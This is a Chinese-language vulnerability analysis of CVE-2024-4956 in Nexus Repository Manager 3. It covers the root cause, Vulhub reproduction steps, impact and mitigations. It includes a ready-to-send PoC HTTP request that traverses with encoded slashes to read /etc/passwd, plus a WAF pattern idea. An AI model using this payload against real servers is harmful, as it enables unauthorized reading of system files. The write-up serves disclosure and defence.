Nexus Repository Manager 3 未授权目录穿越漏洞(CVE-2024-4956)
字数 1272 2025-08-19 12:41:48
Nexus Repository Manager 3 未授权目录穿越漏洞(CVE-2024-4956)技术分析文档
漏洞概述
Nexus Repository Manager 3 是一款广泛使用的软件仓库管理系统,用于存储和分发Maven、NuGET等软件源仓库。在3.68.0及之前版本中,存在一个严重的目录穿越漏洞(CVE-2024-4956),攻击者可以利用该漏洞读取服务器上的任意文件。
漏洞原理分析
该漏洞的核心在于路径规范化处理不当,与之前发现的SpringMVC CVE-2018-1271漏洞原理相似:
- 路径处理缺陷:漏洞源于Jetty的
URIUtil.canonicalPath()函数在处理路径时将空字符串也视为合法目录 - 路径遍历机制:当处理类似
///../../../的路径时,规范化函数错误地将空字符串视为目录,导致可以穿越出当前目录 - URL编码利用:攻击者通过URL编码的斜杠(
%2F)构造特殊路径实现目录穿越
漏洞复现环境搭建
-
下载Vulhub中的漏洞环境:
https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2024-4956 -
启动Nexus Repository Manager 3.68.0服务器:
docker compose up -d -
环境启动后,访问
http://your-ip:8081可看到Nexus默认页面
漏洞利用POC
基本利用方式
发送以下HTTP请求读取系统文件:
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
POC解析
- 构造原理:使用了7个
%2F(URL编码的斜杠),对应7个..%2F(上级目录) - 路径计算:
- 每个
%2F被解析为一个空目录 - 每个
..%2F向上穿越一级目录 - 最终组合可以穿越到根目录并访问任意文件
- 每个
技术要点说明
-
与CVE-2018-1271的相似性:
- 都涉及路径规范化处理缺陷
- 都将空字符串视为合法目录
- 都可通过多重斜杠实现目录穿越
-
关键差异:
- 影响组件不同(Nexus vs SpringMVC)
- 具体实现函数不同(Jetty的URIUtil.canonicalPath() vs Spring的cleanPath())
-
漏洞利用限制:
- 需要未授权访问或低权限访问
- 受服务器文件系统权限限制
防御建议
-
升级修复:
- 升级到Nexus Repository Manager 3.68.0以上版本
-
临时缓解措施:
- 配置Web应用防火墙(WAF)规则,拦截包含多个
%2F或..%2F的请求 - 限制Nexus服务的文件系统访问权限
- 配置Web应用防火墙(WAF)规则,拦截包含多个
-
代码层面防护:
- 对用户输入的路径进行严格校验
- 实现自定义的路径规范化函数
漏洞影响评估
-
影响范围:
- Nexus Repository Manager 3.x ≤ 3.68.0
-
危害程度:
- 高危漏洞(CVSS评分待确认)
- 可导致敏感信息泄露
- 可能作为攻击链的一部分获取更高权限
-
攻击复杂度:
- 低复杂度攻击
- 无需特殊条件即可利用
总结
CVE-2024-4956漏洞展示了路径处理在Web安全中的重要性,提醒开发者在实现文件系统相关功能时需要特别注意路径规范化处理。该漏洞利用简单但危害严重,建议所有使用受影响版本的用户立即采取修复措施。